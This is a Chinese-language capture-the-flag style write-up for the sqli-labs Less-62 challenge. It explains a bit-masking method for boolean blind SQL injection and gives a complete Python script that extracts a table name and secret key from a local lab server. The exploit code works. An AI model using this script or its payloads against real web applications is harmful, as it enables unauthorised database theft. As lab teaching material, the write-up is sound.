标签:name WHEN labs Sqli 62 key query bit extract
1.本题是通过布尔注入获取一段secret key,该key存于challenges
数据库的某个随机表名的表内。要求在请求次数不超过130次的情况下获取该key。
2.根据网上的wp,跑脚本
原理:在获取表名或key时,我们判断第7位(比特)是不是1就知道该字符是数字或字母;而第6位不用管,因为对于数字,该位为1,对于字母,我们不用管字母的大小写也就不用管该位是0还是1。所以对于每个字符,我们只需获取第7位和前5位即可。#!/usr/bin/python3 # -*-coding:utf-8-*- import re import requests url = "http://192.168.2.140:8083/Less-62/index.php" # 改成你的地址 try_count = 0 def extract_bits(query, i, bit_values: list): """ 获取query执行结果的第 i 个(从1开始算)字符的3个比特 哪3个比特由bit_values指定 """ global try_count assert len(bit_values) == 8 bit_marks = 0 for v in bit_values: bit_marks |= v payload = """ '+( SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark}) WHEN {0} THEN 1 WHEN {1} THEN 2 WHEN {2} THEN 3 WHEN {3} THEN 4 WHEN {4} THEN 5 WHEN {5} THEN 6 WHEN {6} THEN 7 ELSE 8 END )+' """.format(*bit_values[:7], query=query, bit_mark=bit_marks, i=i) payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " ")) # print(payload) resp = requests.get(url, params={"id": payload}) try_count += 1 infos = ["Angelina", "Dummy", "secure", "stupid", "superman", "batman", "admin", "admin1"] match = re.search(r"Your Login name : (.*?)<br>", resp.text) assert match assert match.group(1) in infos bits = bit_values[infos.index(match.group(1))] return bits def extract_data(query, length): """ 获取query查询结果的length个字符,每个字符只获取其第7位和前5位 """ res = "" for i in range(1, length+1): b2 = extract_bits(query, i, [0b00000000, 0b00000001, 0b00000010, 0b00000011, 0b00000100, 0b00000101, 0b00000110, 0b00000111]) # 00000111 b1 = extract_bits(query, i, [0b00000000, 0b00001000, 0b00010000, 0b00011000, 0b01000000, 0b01001000, 0b01010000, 0b01011000]) # 01011000 if b1 & 0b01000000 == 0: # 该字符为数字 bit = b1 | b2 | 0b00100000 else: # 该字符为字母 bit = b1 | b2 res += chr(bit) return res if __name__ == "__main__": table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10) print("table_name:", table_name) secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24) print("secret_key:", secret_key) print("Done. try_count:", try_count)
3.获取数据
标签:name,WHEN,labs,Sqli,62,key,query,bit,extract 来源: https://www.cnblogs.com/chensicha/p/15357480.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。